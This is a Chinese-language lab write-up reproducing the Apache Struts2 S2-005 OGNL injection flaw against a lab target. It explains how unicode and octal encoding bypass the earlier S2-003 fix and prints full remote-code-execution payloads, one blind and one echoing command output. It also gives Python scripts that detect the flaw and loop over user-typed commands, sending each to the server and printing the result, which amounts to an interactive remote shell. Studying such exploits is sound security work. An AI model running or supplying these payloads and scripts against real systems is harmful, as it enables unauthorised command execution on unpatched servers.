在安装好环境后,页面如下
靶机的ip为192.168.6.217
S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。
S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。
在github上有一段没有回显的poc验证
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
该poc是向靶机/tmp下写入一个success的文本,靶机验证如下
这个poc分为三个部分
1.(’\u0023_memberAccess[‘allowStaticMethodAccess’]’)(vaaa)=true
2.(aaaa)((’\u0023context[‘xwork.MethodAccessor.denyMethodExecution’]\u003d\u0023vccc’)(\u0023vccc\u003dnew java.lang.Boolean(“false”)))
3.(asdf)((’\u0023rt.output(“touch@/tmp/success”.split("@"))’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
其中主要执行主要执行命令的是第三部分,其组成是为了遵守Ognl语法树的规则,网上的文章很多,不多讲。大致就是第一个是为了将_memberAccess变量中的allowStaticMethod设置为true;第二步是将上下文中的xwork.MethodAccessor.denyMethodExecution 设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类;第三个调用Runtime类的静态方法获取一个Runtime对象执行命令。
其验证方式是通过返回页面不变来判断,当然在方式的时候还是要转化为urlencode形式发送。
def s2_005(url):
# 影响版本: 2.0.0 - 2.1.8.1
post_url = url
data = r"(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/test%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1"
thire = requests.post(url=post_url, data=data, headers=headers)
first = requests.get(url=url, headers=headers)
if len(thire.text) == len(first.text):
print("存在s2-005漏洞")
else:
print("不存在")
在网上找了有回显的攻击代码,但是测试总是返回不了内容,百度说有可能是tomcat8的问题,因此下载了k8进行测试发现并不是因为tomcat8的问题,k8可以执行返回命令等。打开wireshare抓取k8的流量分析
(这里的k8执行的命令有几条,我只拿了其中一个命令包进行查看)从中得到了执行命令的语句
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
这样上面就是
1.设置上下文denyMethodExecution=false 运行方法执行
2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)
设置外部拦截器为空
3.mycmd=“whoami” 定义我们的执行命令的变量
4.myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)’) (调用静态方法执行我们的变量)
5.mydat=new java.io.DataInputStream(\43myret.getInputStream())’) 获取输入流 (post)
6.myres=new data[51020];mydat.readfully(myres); 读取输入流
(5,6为了转换输入流的类型)
7.mystr=new java.lang.String(#myres) ;定义并赋值输入流
8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据
9.myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。
知道原理后,但是在用python编写的时候会报错
在通过百度查找,在数据传输中chunked编码在http1.1上存在而http1.0不会去看chunked编码的长度,重放发现,bp上的http是1.0而返回的包是1.1。在python3中requests的包默认的http是1.1,因此需要重新定义一下http的版本
import http.client
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
添加上面的代码,使requests发送的包http的版本在1.0上
因此该有回显的poc为
def s2_005exp(url):
while True:
exec1 = input("the exec:")
key = r"('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'" + exec1 + r"\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))"
post_url = url
s1 = requests.post(url=post_url, data=key, headers=headers)
s = s1.text
print(s)
整体代码放在了我的github上https://github.com/cve-2020/jiaoben